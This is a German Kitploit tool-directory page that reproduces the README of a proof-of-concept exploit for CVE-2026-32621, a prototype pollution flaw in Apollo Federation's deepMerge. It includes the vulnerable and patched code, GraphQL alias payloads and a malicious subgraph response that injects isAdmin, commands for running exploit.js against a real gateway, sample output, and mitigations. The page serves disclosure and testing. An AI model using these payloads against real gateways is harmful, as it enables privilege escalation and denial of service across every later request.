Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — PoC-Exploit für CVE-2026-32621, der die Apollo-Federation-deepMerge-Prototype-Pollution über manipulierte GraphQL-Aliasse demonstriert, mit Tests für gepatchte Versionen. | Kitploit
Tools/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-Sicherheit
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

PoC-Exploit für CVE-2026-32621, der die Apollo-Federation-deepMerge-Prototype-Pollution über manipulierte GraphQL-Aliasse demonstriert, mit Tests für gepatchte Versionen.

Repository anzeigen
3vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-32621 - Apollo Federation Prototype Pollution PoC

Übersicht

FeldWert
CVECVE-2026-32621
CVSS9.9 Kritisch
CWECWE-1321 (Prototype Pollution)
BetroffenApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
Behoben2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

Beschreibung der Schwachstelle

Die deepMerge-Funktion von Apollo Federation (verwendet in @apollo/query-planner und @apollo/gateway, um Subgraph-Antworten während der Ausführung von Query-Plänen zusammenzuführen) bereinigt Schlüssel nicht, bevor auf target[key] zugegriffen wird.

Wenn ein Quellobjekt __proto__ als eigene Eigenschaft enthält (was durch JSON.parse erzeugt wird), gibt Object.keys() sie zurück, und target["__proto__"] löst über die Prototyp-Kette zu Object.prototype auf. Die Zusammenführung schreibt dann Eigenschaften direkt auf Object.prototype und verschmutzt damit die globale Prototyp-Kette für den gesamten Node.js-Prozess.

Grundursache

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

Angriffsvektoren

1. Clientseitig (böswillige GraphQL-Abfrage)

Ein Client sendet eine GraphQL-Abfrage mit Feld-Aliasnamen namens __proto__, constructor oder prototype. Wenn das Gateway die Antwort verarbeitet, verwendet deepMerge diese Aliase als Schlüssel und verschmutzt Object.prototype.

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. Subgraphseitig (kompromittierter Subgraph)

Ein kompromittierter Subgraph gibt JSON mit __proto__-Schlüsseln zurück. Wenn das Gateway die Antwort über deepMerge zusammenführt, wird Object.prototype verschmutzt.

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. Verschachtelte Kette

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

Auswirkungen

  • Privilegienausweitung: isAdmin-, role- und permissions-Eigenschaften injizieren
  • Denial of Service: toString, valueOf mit null-/defekten Funktionen überschreiben
  • Datenintegrität: Eigenschaften injizieren, die Geschäftslogik beeinflussen
  • Persistent: Die Pollution betrifft ALLE nachfolgenden Anfragen an die Gateway-Instanz
  • Anfrageübergreifend: Jede Anfrage nach dem Angriff sieht verschmutzte Prototypen

Dokumentation

DokumentInhalt
USAGE.mdDetaillierte Bedienungsanleitung mit Schritt-für-Schritt-Anweisungen
DIAGRAM.mdStrukturdiagramme und Visualisierung des Angriffsablaufs

Dateien

| Datei | Zweck |

|------|---------| | exploit.js | Hauptexploit mit 5 Angriffsvektoren + lokale Demonstration | | test_exploit.js | Unit-Tests (15 Tests, die Pollution und Patch validieren) | | e2e_test.js | End-to-End-Validierung (10 Tests: Gateway + Exploit + Verifizierung) | | setup_vulnerable.js | Simulator für ein verwundbares Gateway zum Testen |

Verwendung

Schnellstart (Lokale Demonstration)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

Dies demonstriert den exakt verwundbaren Codepfad, ohne dass ein laufendes Gateway erforderlich ist.

Vollständiger Exploit (Mit verwundbarem Gateway)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

Tests ausführen

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

Exploit gegen echtes Apollo-Gateway

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

Beispielausgabe

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Angriffsketten-Diagramm

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

Vollständige Architekturdiagramme finden Sie in DIAGRAM.md.

Gegenmaßnahmen

  1. Upgrade auf gepatchte Versionen durchführen: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. Eingabefilterung: GraphQL-Operationen blockieren, die __proto__, constructor, prototype in Feld-Aliasen und Variablennamen enthalten
  3. Subgraph-Vertrauen: Sicherstellen, dass alle Subgraphen aus vertrauenswürdigen Quellen stammen
  4. Object.create(null): Wo möglich Objekte mit Null-Prototyp verwenden

Referenzen

  • NVD-Eintrag
  • GitHub Advisory GHSA-pfjj-6f4p-rvmh
  • Apollo-Federation-Sicherheitshinweis
  • CWE-1321

Lizenz

MIT

Tool herunterladen